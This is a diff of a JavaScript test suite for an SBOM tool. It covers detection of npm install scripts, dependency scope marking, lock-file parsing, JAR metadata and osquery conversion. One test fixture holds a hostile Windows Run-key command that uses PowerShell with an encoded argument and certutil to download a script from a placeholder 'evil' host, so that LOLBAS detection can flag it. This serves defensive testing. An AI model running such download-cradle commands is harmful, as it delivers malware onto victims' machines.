+ pkgJsonFile,
3978
+ JSON.stringify(
3979
+ {
3980
+ name: "runner-flags-pkg",
3981
+ version: "1.0.0",
3982
+ scripts: {
3983
+ postinstall:
3984
+ "cross-env NODE_ENV=production node --loader tsx --require ./preload.js ./scripts/postinstall.js && echo done",
3985
+ },
3986
+ },
3987
+ null,
3988
+ 2,
3989
+ ),
3990
+ );
3991
+
3992
+ try {
3993
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
3994
+ assert.strictEqual(pkgList.length, 1);
3995
+ const properties = pkgList[0].properties || [];
3996
+ assert.ok(
3997
+ properties.some(
3998
+ (property) =>
3999
+ property.name === "cdx:npm:hasInstallScript" &&
4000
+ property.value === "true",
4001
+ ),
4002
+ );
4003
+ assert.ok(
4004
+ properties.some(
4005
+ (property) =>
4006
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4007
+ property.value.includes("ast:child-process"),
4008
+ ),
4009
+ );
4010
+ } finally {
4011
+ rmSync(tempDir, { force: true, recursive: true });
4012
+ }
4013
+ });
4014
+
4015
+ it("parsePkgJson ignores lifecycle script files outside the package directory", async () => {
4016
+ const tempDir = mkdtempSync(
4017
+ path.join(tmpdir(), "cdxgen-pkgjson-outside-script-"),
4018
+ );
4019
+ const packageDir = path.join(tempDir, "package");
4020
+ const pkgJsonFile = path.join(packageDir, "package.json");
4021
+ const outsideScriptFile = path.join(tempDir, "secret.js");
4022
+ mkdirSync(packageDir, { recursive: true });
4023
+ writeFileSync(
4024
+ outsideScriptFile,
4025
+ [
4026
+ "import cp from 'node:child_process';",
4027
+ "cp.execSync('echo should-not-be-read');",
4028
+ ].join("\n"),
4029
+ );
4030
+ writeFileSync(
4031
+ pkgJsonFile,
4032
+ JSON.stringify(
4033
+ {
4034
+ name: "outside-script-pkg",
4035
+ version: "1.0.0",
4036
+ scripts: {
4037
+ postinstall: "node ../secret.js",
4038
+ },
4039
+ },
4040
+ null,
4041
+ 2,
4042
+ ),
4043
+ );
4044
+
4045
+ try {
4046
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4047
+ assert.strictEqual(pkgList.length, 1);
4048
+ const properties = pkgList[0].properties || [];
4049
+ assert.ok(
4050
+ properties.some(
4051
+ (property) =>
4052
+ property.name === "cdx:npm:hasInstallScript" &&
4053
+ property.value === "true",
4054
+ ),
4055
+ );
4056
+ assert.ok(
4057
+ !properties.some(
4058
+ (property) =>
4059
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4060
+ property.value.includes("ast:child-process"),
4061
+ ),
4062
+ );
4063
+ assert.ok(
4064
+ !properties.some(
4065
+ (property) =>
4066
+ property.name === "cdx:npm:lifecycleExecutionIndicators" &&
4067
+ property.value.includes("ast:child-process"),
4068
+ ),
4069
+ );
4070
+ } finally {
4071
+ rmSync(tempDir, { force: true, recursive: true });
4072
+ }
4073
+ });
4074
+
4075
+ it("parsePkgJson detects bun lifecycle runners", async () => {
4076
+ const tempDir = mkdtempSync(
4077
+ path.join(tmpdir(), "cdxgen-pkgjson-bun-runner-"),
4078
+ );
4079
+ const pkgJsonFile = path.join(tempDir, "package.json");
4080
+ const preloadFile = path.join(tempDir, "preload.ts");
4081
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4082
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4083
+ writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
4084
+ writeFileSync(
4085
+ installScriptFile,
4086
+ ["import cp from 'node:child_process';", "cp.execSync('echo bun');"].join(
4087
+ "\n",
4088
+ ),
4089
+ );
4090
+ writeFileSync(
4091
+ pkgJsonFile,
4092
+ JSON.stringify(
4093
+ {
4094
+ name: "bun-runner-pkg",
4095
+ version: "1.0.0",
4096
+ scripts: {
4097
+ postinstall:
4098
+ "bun run --preload ./preload.ts ./scripts/postinstall.ts",
4099
+ },
4100
+ },
4101
+ null,
4102
+ 2,
4103
+ ),
4104
+ );
4105
+
4106
+ try {
4107
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4108
+ assert.strictEqual(pkgList.length, 1);
4109
+ const properties = pkgList[0].properties || [];
4110
+ assert.ok(
4111
+ properties.some(
4112
+ (property) =>
4113
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4114
+ property.value.includes("ast:child-process"),
4115
+ ),
4116
+ );
4117
+ } finally {
4118
+ rmSync(tempDir, { force: true, recursive: true });
4119
+ }
4120
+ });
4121
+
4122
+ it("parsePkgJson detects deno run lifecycle runners", async () => {
4123
+ const tempDir = mkdtempSync(
4124
+ path.join(tmpdir(), "cdxgen-pkgjson-deno-runner-"),
4125
+ );
4126
+ const pkgJsonFile = path.join(tempDir, "package.json");
4127
+ const configFile = path.join(tempDir, "deno.json");
4128
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4129
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4130
+ writeFileSync(configFile, '{"imports":{}}\n');
4131
+ writeFileSync(
4132
+ installScriptFile,
4133
+ ["import cp from 'node:child_process';", "cp.execSync('echo deno');"].join(
4134
+ "\n",
4135
+ ),
4136
+ );
4137
+ writeFileSync(
4138
+ pkgJsonFile,
4139
+ JSON.stringify(
4140
+ {
4141
+ name: "deno-runner-pkg",
4142
+ version: "1.0.0",
4143
+ scripts: {
4144
+ postinstall:
4145
+ "deno run -A --config ./deno.json ./scripts/postinstall.ts",
4146
+ },
4147
+ },
4148
+ null,
4149
+ 2,
4150
+ ),
4151
+ );
4152
+
4153
+ try {
4154
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4155
+ assert.strictEqual(pkgList.length, 1);
4156
+ const properties = pkgList[0].properties || [];
4157
+ assert.ok(
4158
+ properties.some(
4159
+ (property) =>
4160
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4161
+ property.value.includes("ast:child-process"),
4162
+ ),
4163
+ );
4164
+ } finally {
4165
+ rmSync(tempDir, { force: true, recursive: true });
4166
+ }
4167
+ });
4168
+
4169
+ it("parsePkgJson ignores non-run deno subcommands", async () => {
4170
+ const tempDir = mkdtempSync(
4171
+ path.join(tmpdir(), "cdxgen-pkgjson-deno-cache-"),
4172
+ );
4173
+ const pkgJsonFile = path.join(tempDir, "package.json");
4174
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4175
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4176
+ writeFileSync(
4177
+ installScriptFile,
4178
+ [
4179
+ "import cp from 'node:child_process';",
4180
+ "cp.execSync('echo deno-cache');",
4181
+ ].join("\n"),
4182
+ );
4183
+ writeFileSync(
4184
+ pkgJsonFile,
4185
+ JSON.stringify(
4186
+ {
4187
+ name: "deno-cache-pkg",
4188
+ version: "1.0.0",
4189
+ scripts: {
4190
+ postinstall: "deno cache ./scripts/postinstall.ts",
4191
+ },
4192
+ },
4193
+ null,
4194
+ 2,
4195
+ ),
4196
+ );
4197
+
4198
+ try {
4199
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4200
+ assert.strictEqual(pkgList.length, 1);
4201
+ const properties = pkgList[0].properties || [];
4202
+ assert.ok(
4203
+ !properties.some(
4204
+ (property) =>
4205
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4206
+ property.value.includes("ast:child-process"),
4207
+ ),
4208
+ );
4209
+ } finally {
4210
+ rmSync(tempDir, { force: true, recursive: true });
4211
+ }
4212
+ });
4213
+
3629
4214
  it("parsePkgLock v1", async () => {
3630
4215
  const parsedList = await parsePkgLock(
3631
4216
  "./test/data/package-json/v1/package-lock.json",
@@ -3677,6 +4262,30 @@ it("parsePkgLock v2", async () => {
3677
4262
  ],
3678
4263
  },
3679
4264
  });
4265
+ const devOnlyPkg = deps.find(
4266
+ (pkg) => pkg["bom-ref"] === "pkg:npm/@types/shelljs@0.8.11",
4267
+ );
4268
+ assert.ok(devOnlyPkg);
4269
+ assert.deepStrictEqual(devOnlyPkg.scope, "optional");
4270
+ assert.ok(
4271
+ devOnlyPkg.properties.some(
4272
+ (property) =>
4273
+ property.name === "cdx:npm:package:development" &&
4274
+ property.value === "true",
4275
+ ),
4276
+ );
4277
+ const devOptionalPkg = deps.find(
4278
+ (pkg) => pkg["bom-ref"] === "pkg:npm/@esbuild/android-arm@0.15.12",
4279
+ );
4280
+ assert.ok(devOptionalPkg);
4281
+ assert.deepStrictEqual(devOptionalPkg.scope, "optional");
4282
+ assert.ok(
4283
+ devOptionalPkg.properties.some(
4284
+ (property) =>
4285
+ property.name === "cdx:npm:package:development" &&
4286
+ property.value === "true",
4287
+ ),
4288
+ );
3680
4289
  assert.deepStrictEqual(parsedList.dependenciesList.length, 134);
3681
4290
  });
3682
4291
 
@@ -3740,6 +4349,69 @@ it("parsePkgLock v3", async () => {
3740
4349
  assert.deepStrictEqual(parsedList.dependenciesList.length, 161);
3741
4350
  });
3742
4351
 
4352
+ it("parsePkgLock marks devOptional entries as development", async () => {
4353
+ const rootNode = {
4354
+ path: "/virtual/project",
4355
+ package: {
4356
+ author: "",
4357
+ license: "MIT",
4358
+ },
4359
+ packageName: "virtual-project",
4360
+ version: "1.0.0",
4361
+ edgesOut: new Map(),
4362
+ fsChildren: new Set(),
4363
+ children: new Map(),
4364
+ };
4365
+ const devOptionalNode = {
4366
+ path: "/virtual/project/node_modules/dev-optional-dep",
4367
+ package: {
4368
+ author: "",
4369
+ license: "MIT",
4370
+ },
4371
+ packageName: "dev-optional-dep",
4372
+ version: "2.0.0",
4373
+ devOptional: true,
4374
+ integrity: "sha512-devoptional",
4375
+ edgesOut: new Map(),
4376
+ fsChildren: new Set(),
4377
+ children: new Map(),
4378
+ };
4379
+ rootNode.children.set("node_modules/dev-optional-dep", devOptionalNode);
4380
+ rootNode.edgesOut.set("dev-optional-dep", {
4381
+ name: "dev-optional-dep",
4382
+ spec: "^2.0.0",
4383
+ to: devOptionalNode,
4384
+ });
4385
+ const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
4386
+ "./utils.js",
4387
+ {
4388
+ "../third-party/arborist/lib/index.js": {
4389
+ default: class MockArborist {
4390
+ async loadVirtual() {
4391
+ return rootNode;
4392
+ }
4393
+ },
4394
+ },
4395
+ },
4396
+ );
4397
+ const parsedList = await parsePkgLockWithMockedArborist(
4398
+ "./test/data/package-json/v3/package-lock.json",
4399
+ {},
4400
+ );
4401
+ const devOptionalPkg = parsedList.pkgList.find(
4402
+ (pkg) => pkg["bom-ref"] === "pkg:npm/dev-optional-dep@2.0.0",
4403
+ );
4404
+ assert.ok(devOptionalPkg);
4405
+ assert.deepStrictEqual(devOptionalPkg.scope, "optional");
4406
+ assert.ok(
4407
+ devOptionalPkg.properties.some(
4408
+ (property) =>
4409
+ property.name === "cdx:npm:package:development" &&
4410
+ property.value === "true",
4411
+ ),
4412
+ );
4413
+ });
4414
+
3743
4415
  it("parsePkgLock theia", async () => {
3744
4416
  const parsedList = await parsePkgLock(
3745
4417
  "./test/data/package-json/theia/package-lock.json",
@@ -3865,10 +4537,8 @@ it("parsePnpmLock", async () => {
3865
4537
  type: "library",
3866
4538
  version: "7.16.7",
3867
4539
  properties: [
3868
- {
3869
- name: "SrcFile",
3870
- value: "./test/data/pnpm-lock.yaml",
3871
- },
4540
+ { name: "SrcFile", value: "./test/data/pnpm-lock.yaml" },
4541
+ { name: "cdx:npm:package:development", value: "true" },
3872
4542
  ],
3873
4543
  evidence: {
3874
4544
  identity: {
@@ -3970,7 +4640,10 @@ it("parsePnpmLock", async () => {
3970
4640
  type: "library",
3971
4641
  _integrity:
3972
4642
  "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
3973
- properties: [{ name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" }],
4643
+ properties: [
4644
+ { name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" },
4645
+ { name: "cdx:npm:package:development", value: "true" },
4646
+ ],
3974
4647
  evidence: {
3975
4648
  identity: {
3976
4649
  field: "purl",
@@ -3995,7 +4668,10 @@ it("parsePnpmLock", async () => {
3995
4668
  type: "library",
3996
4669
  _integrity:
3997
4670
  "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==",
3998
- properties: [{ name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" }],
4671
+ properties: [
4672
+ { name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" },
4673
+ { name: "cdx:npm:package:development", value: "true" },
4674
+ ],
3999
4675
  evidence: {
4000
4676
  identity: {
4001
4677
  field: "purl",
@@ -4023,7 +4699,10 @@ it("parsePnpmLock", async () => {
4023
4699
  type: "library",
4024
4700
  _integrity:
4025
4701
  "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
4026
- properties: [{ name: "SrcFile", value: "./test/data/pnpm-lock6a.yaml" }],
4702
+ properties: [
4703
+ { name: "SrcFile", value: "./test/data/pnpm-lock6a.yaml" },
4704
+ { name: "cdx:npm:package:development", value: "true" },
4705
+ ],
4027
4706
  evidence: {
4028
4707
  identity: {
4029
4708
  field: "purl",
@@ -4038,6 +4717,18 @@ it("parsePnpmLock", async () => {
4038
4717
  },
4039
4718
  },
4040
4719
  });
4720
+ const pnpmDevOptionalPkg = parsedList.pkgList.find(
4721
+ (pkg) => pkg["bom-ref"] === "pkg:npm/@cyclonedx/cdxgen-plugins-bin@1.0.5",
4722
+ );
4723
+ assert.ok(pnpmDevOptionalPkg);
4724
+ assert.deepStrictEqual(pnpmDevOptionalPkg.scope, "optional");
4725
+ assert.ok(
4726
+ pnpmDevOptionalPkg.properties.some(
4727
+ (property) =>
4728
+ property.name === "cdx:npm:package:development" &&
4729
+ property.value === "true",
4730
+ ),
4731
+ );
4041
4732
  // Test case to see if parsePnpmLock is finding all root deps
4042
4733
  const dummpyParent = {
4043
4734
  name: "rush",
@@ -4079,7 +4770,15 @@ it("parsePnpmLock", async () => {
4079
4770
  assert.deepStrictEqual(parsedList.pkgList.length, 1007);
4080
4771
  assert.deepStrictEqual(parsedList.dependenciesList.length, 1006);
4081
4772
  assert.deepStrictEqual(
4082
- parsedList.pkgList.filter((pkg) => !pkg.scope).length,
4773
+ parsedList.pkgList.filter(
4774
+ (pkg) =>
4775
+ !pkg.scope &&
4776
+ !pkg.properties?.some(
4777
+ (property) =>
4778
+ property.name === "cdx:npm:package:development" &&
4779
+ property.value === "true",
4780
+ ),
4781
+ ).length,
4083
4782
  0,
4084
4783
  );
4085
4784
  parsedList = await parsePnpmLock("./test/data/pnpm-lock9b.yaml", {
@@ -4089,7 +4788,15 @@ it("parsePnpmLock", async () => {
4089
4788
  assert.deepStrictEqual(parsedList.pkgList.length, 1366);
4090
4789
  assert.deepStrictEqual(parsedList.dependenciesList.length, 1353);
4091
4790
  assert.deepStrictEqual(
4092
- parsedList.pkgList.filter((pkg) => !pkg.scope).length,
4791
+ parsedList.pkgList.filter(
4792
+ (pkg) =>
4793
+ !pkg.scope &&
4794
+ !pkg.properties?.some(
4795
+ (property) =>
4796
+ property.name === "cdx:npm:package:development" &&
4797
+ property.value === "true",
4798
+ ),
4799
+ ).length,
4093
4800
  12,
4094
4801
  );
4095
4802
  parsedList = await parsePnpmLock("./test/data/pnpm-lock9c.yaml", {
@@ -4099,9 +4806,40 @@ it("parsePnpmLock", async () => {
4099
4806
  assert.deepStrictEqual(parsedList.pkgList.length, 461);
4100
4807
  assert.deepStrictEqual(parsedList.dependenciesList.length, 462);
4101
4808
  assert.deepStrictEqual(
4102
- parsedList.pkgList.filter((pkg) => !pkg.scope).length,
4809
+ parsedList.pkgList.filter(
4810
+ (pkg) =>
4811
+ !pkg.scope &&
4812
+ !pkg.properties?.some(
4813
+ (property) =>
4814
+ property.name === "cdx:npm:package:development" &&
4815
+ property.value === "true",
4816
+ ),
4817
+ ).length,
4103
4818
  3,
4104
4819
  );
4820
+ parsedList = await parsePnpmLock(
4821
+ "./test/data/pnpm-lock-dev-propagation.yaml",
4822
+ );
4823
+ assert.deepStrictEqual(parsedList.pkgList.length, 4);
4824
+ assert.deepStrictEqual(parsedList.dependenciesList.length, 4);
4825
+ assert.deepStrictEqual(
4826
+ parsedList.pkgList.filter(
4827
+ (pkg) =>
4828
+ pkg.scope === "optional" &&
4829
+ pkg.properties?.some(
4830
+ (property) =>
4831
+ property.name === "cdx:npm:package:development" &&
4832
+ property.value === "true",
4833
+ ),
4834
+ ).length,
4835
+ 4,
4836
+ );
4837
+ assert.ok(
4838
+ parsedList.pkgList.find((pkg) => pkg["bom-ref"] === "pkg:npm/gamma@1.0.0"),
4839
+ );
4840
+ assert.ok(
4841
+ parsedList.pkgList.find((pkg) => pkg["bom-ref"] === "pkg:npm/delta@1.0.0"),
4842
+ );
4105
4843
  parsedList = await parsePnpmLock(
4106
4844
  "./test/data/pnpm_locks/bytemd-pnpm-lock.yaml",
4107
4845
  );
@@ -6560,6 +7298,44 @@ it("parse python lock files", async () => {
6560
7298
  assert.deepStrictEqual(retMap.pkgList.length, 9);
6561
7299
  assert.deepStrictEqual(retMap.rootList.length, 9);
6562
7300
  assert.deepStrictEqual(retMap.dependenciesList.length, 9);
7301
+ retMap = await parsePyLockData(
7302
+ readFileSync("./test/data/pylock.toml", { encoding: "utf-8" }),
7303
+ "./test/data/pylock.toml",
7304
+ );
7305
+ assert.deepStrictEqual(retMap.pkgList.length, 2);
7306
+ assert.deepStrictEqual(retMap.dependenciesList.length, 2);
7307
+ assert.ok(
7308
+ retMap.pyLockProperties.some((p) => p.name === "cdx:pylock:lock_version"),
7309
+ );
7310
+ const attrsPkg = retMap.pkgList.find((p) => p.name === "attrs");
7311
+ assert.ok(
7312
+ attrsPkg.properties.some((p) => p.name === "cdx:pylock:marker"),
7313
+ "Expected pylock marker custom property for attrs package",
7314
+ );
7315
+ assert.ok(
7316
+ attrsPkg.components?.length,
7317
+ "Expected pylock wheel entry to produce file component",
7318
+ );
7319
+ const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
7320
+ assert.ok(
7321
+ cattrsPkg.properties.some(
7322
+ (p) =>
7323
+ p.name === "cdx:pypi:registry" &&
7324
+ p.value === "https://internal.example/simple/",
7325
+ ),
7326
+ "Expected non-default pylock index to map to cdx:pypi:registry",
7327
+ );
7328
+ retMap = await parsePyLockData(
7329
+ readFileSync("./test/data/pylock-named/pylock.dev.toml", {
7330
+ encoding: "utf-8",
7331
+ }),
7332
+ "./test/data/pylock-named/pylock.dev.toml",
7333
+ );
7334
+ assert.deepStrictEqual(retMap.pkgList.length, 1);
7335
+ assert.ok(
7336
+ retMap.pkgList[0].components?.[0]?.hashes?.some((h) => h.alg === "SHA-256"),
7337
+ "Expected sha-256 pylock hash to normalize to SHA-256",
7338
+ );
6563
7339
  }, 120000);
6564
7340
 
6565
7341
  it("parse wheel metadata", () => {
@@ -7601,6 +8377,72 @@ it("purl encode tests", () => {
7601
8377
  assert.deepStrictEqual(encodeForPurl("%40angular"), "%40angular");
7602
8378
  });
7603
8379
 
8380
+ it("jar manifest group inference tests", () => {
8381
+ const antManifest = parseJarManifest(
8382
+ readJarMetadataFixture("ant-1.10.13", "MANIFEST.MF"),
8383
+ );
8384
+ assert.deepStrictEqual(
8385
+ inferJarGroupFromManifest(antManifest),
8386
+ "org.apache.tools.ant",
8387
+ );
8388
+ const velocityManifest = parseJarManifest(
8389
+ readJarMetadataFixture("velocity-1.7", "MANIFEST.MF"),
8390
+ );
8391
+ assert.deepStrictEqual(velocityManifest["Extension-Name"], "velocity");
8392
+ assert.deepStrictEqual(
8393
+ velocityManifest["Bundle-SymbolicName"],
8394
+ "org.apache.velocity",
8395
+ );
8396
+ assert.deepStrictEqual(
8397
+ inferJarGroupFromManifest(velocityManifest),
8398
+ "org.apache.velocity",
8399
+ );
8400
+ });
8401
+
8402
+ it("jar manifest inference and pom properties parsing tests", () => {
8403
+ const logbackManifest = parseJarManifest(
8404
+ readJarMetadataFixture("logback-classic-1.4.7", "MANIFEST.MF"),
8405
+ );
8406
+ const logbackPomProperties = parsePomProperties(
8407
+ readJarMetadataFixture("logback-classic-1.4.7", "pom.properties"),
8408
+ );
8409
+ assert.deepStrictEqual(
8410
+ inferJarGroupFromManifest(logbackManifest),
8411
+ "ch.qos.logback.classic",
8412
+ );
8413
+ assert.deepStrictEqual(logbackPomProperties, {
8414
+ artifactId: "logback-classic",
8415
+ groupId: "ch.qos.logback",
8416
+ version: "1.4.7",
8417
+ });
8418
+ const commonsMathManifest = parseJarManifest(
8419
+ readJarMetadataFixture("commons-math3-3.6.1", "MANIFEST.MF"),
8420
+ );
8421
+ const commonsMathPomProperties = parsePomProperties(
8422
+ readJarMetadataFixture("commons-math3-3.6.1", "pom.properties"),
8423
+ );
8424
+ assert.deepStrictEqual(
8425
+ inferJarGroupFromManifest(commonsMathManifest),
8426
+ "org.apache.commons.math3",
8427
+ );
8428
+ assert.deepStrictEqual(commonsMathPomProperties, {
8429
+ artifactId: "commons-math3",
8430
+ groupId: "org.apache.commons",
8431
+ version: "3.6.1",
8432
+ });
8433
+ });
8434
+
8435
+ it("jar group suffix trimming tests", () => {
8436
+ assert.deepStrictEqual(
8437
+ trimJarGroupSuffix("org.checkerframework.checker.qual", "checker-qual"),
8438
+ "org.checkerframework",
8439
+ );
8440
+ assert.deepStrictEqual(
8441
+ trimJarGroupSuffix("org.apache.velocity", "velocity"),
8442
+ "org.apache.velocity",
8443
+ );
8444
+ });
8445
+
7604
8446
  it("parsePackageJsonName tests", () => {
7605
8447
  assert.deepStrictEqual(parsePackageJsonName("foo"), {
7606
8448
  fullName: "foo",
@@ -8367,11 +9209,11 @@ const testCases = [
8367
9209
  // Potential ReDoS for percent-encoding regex: Long sequences of % followed by non-hex or short hex
8368
9210
  ["http://example.com/a%" + "a%".repeat(50000), false], // Many %a patterns
8369
9211
  ["http://example.com/a%" + "ab%".repeat(50000), false], // Many %ab patterns (invalid end)
8370
- ["http://example.com/a%" + "a".repeat(100000), false], // One % followed by many 'a's
9212
+ ["http://example.com/a%" + "a".repeat(100000), true], // Valid: %aa is a complete encoding followed by many literal 'a's in path
8371
9213
  ["http://example.com/" + "%".repeat(100000), false], // Very long sequence of just %
8372
9214
  // Edge cases around valid percent-encoding boundaries (pushing regex engine)
8373
9215
  ["http://example.com/path%" + "20".repeat(30000) + "%2", false], // Valid %20s, ends with incomplete %
8374
- ["http://example.com/path%" + "20".repeat(30000) + "a", false], // Valid %20s, ends with non-hex
9216
+ ["http://example.com/path%" + "20".repeat(30000) + "a", true], // Valid: %20 encoding followed by many chars and trailing literal 'a'
8375
9217
  // Potentially complex IRI that might be slow for validateIri (if not already robust)
8376
9218
  // Using a plausible but complex structure with lots of valid non-ASCII chars (requires UTF-8 support)
8377
9219
  // Note: Actual performance depends on the `validateIri` implementation.
@@ -8391,7 +9233,7 @@ const testCases = [
8391
9233
  // IRI with complex query and fragment (tests boundaries)
8392
9234
  [
8393
9235
  "https://example.com/path?query=with%20lots%20of%20percent%20encoding%20but%20valid%20%C3%A9%C3%B1#fragment-with-unicode-çhars-üñíçødé",
8394
- false,
9236
+ true, // Valid: %20 and %C3%A9%C3%B1 are correct encodings; RFC 3987 allows unicode in fragment
8395
9237
  ],
8396
9238
  // IRI that looks almost like a bomLink but isn't quite (tests scheme handling)
8397
9239
  ["urn:cdx:some-uuid/1#componentA/extra", true], // Might be valid IRI/URI, depends on urn:cdx spec, but structurally okay for IRI
@@ -8419,7 +9261,9 @@ const testCases = [
8419
9261
  ["http://example.com/path%ab%cd%eg", false], // Invalid: %eg
8420
9262
  ["http://example.com/path%ab%cd%", false], // Invalid: trailing %
8421
9263
  ["http://example.com/path%ab%cd%0", false], // Invalid: %0
8422
- ["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z (Z is hex, but makes the sequence too long if interpreted as %ab%cd%0Z)
9264
+ ["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z ('Z' is not a hex digit)
9265
+ ["http://example.com/path%abc", true], // Valid: %ab is a complete encoding, 'c' is the next literal character
9266
+ ["http://example.com/path%abZ", true], // Valid %ab followed by a literal character
8423
9267
  // Test with extremely long, but valid, percent-encoded sequence (pushes validateIri/URL)
8424
9268
  // This string is valid UTF-8 percent-encoded 'A' repeated many times.
8425
9269
  // encodeURIComponent("A".repeat(10000)) produces a very long string of %41
@@ -8541,3 +9385,63 @@ it("parses valid minified js with real package name (#2717)", async () => {
8541
9385
 
8542
9386
  if (existsSync(file)) unlinkSync(file);
8543
9387
  });
9388
+
9389
+ describe("convertOSQueryResults", () => {
9390
+ it("should use identifier as package name for chrome-extension purl type", () => {
9391
+ const components = convertOSQueryResults(
9392
+ "chrome_extensions",
9393
+ {
9394
+ purlType: "chrome-extension",
9395
+ componentType: "application",
9396
+ },
9397
+ [
9398
+ {
9399
+ name: "Human Readable Name",
9400
+ identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
9401
+ version: "25.7.1",
9402
+ profile: "Default",
9403
+ },
9404
+ ],
9405
+ false,
9406
+ );
9407
+ assert.strictEqual(components.length, 1);
9408
+ assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
9409
+ assert.strictEqual(
9410
+ components[0].purl,
9411
+ "pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
9412
+ );
9413
+ const propNames = components[0].properties.map((prop) => prop.name);
9414
+ assert.ok(propNames.includes("name"));
9415
+ assert.ok(propNames.includes("identifier"));
9416
+ });
9417
+
9418
+ it("should add LOLBAS properties to suspicious windows osquery rows", () => {
9419
+ const components = convertOSQueryResults(
9420
+ "windows_run_keys",
9421
+ {
9422
+ purlType: "swid",
9423
+ componentType: "data",
9424
+ },
9425
+ [
9426
+ {
9427
+ name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
9428
+ description:
9429
+ "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
9430
+ },
9431
+ ],
9432
+ false,
9433
+ );
9434
+ assert.strictEqual(components.length, 1);
9435
+ const propertyMap = Object.fromEntries(
9436
+ components[0].properties.map((property) => [
9437
+ property.name,
9438
+ property.value,
9439
+ ]),
9440
+ );
9441
+ assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
9442
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
9443
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
9444
+ assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
9445
+ assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
9446
+ });
9447
+ });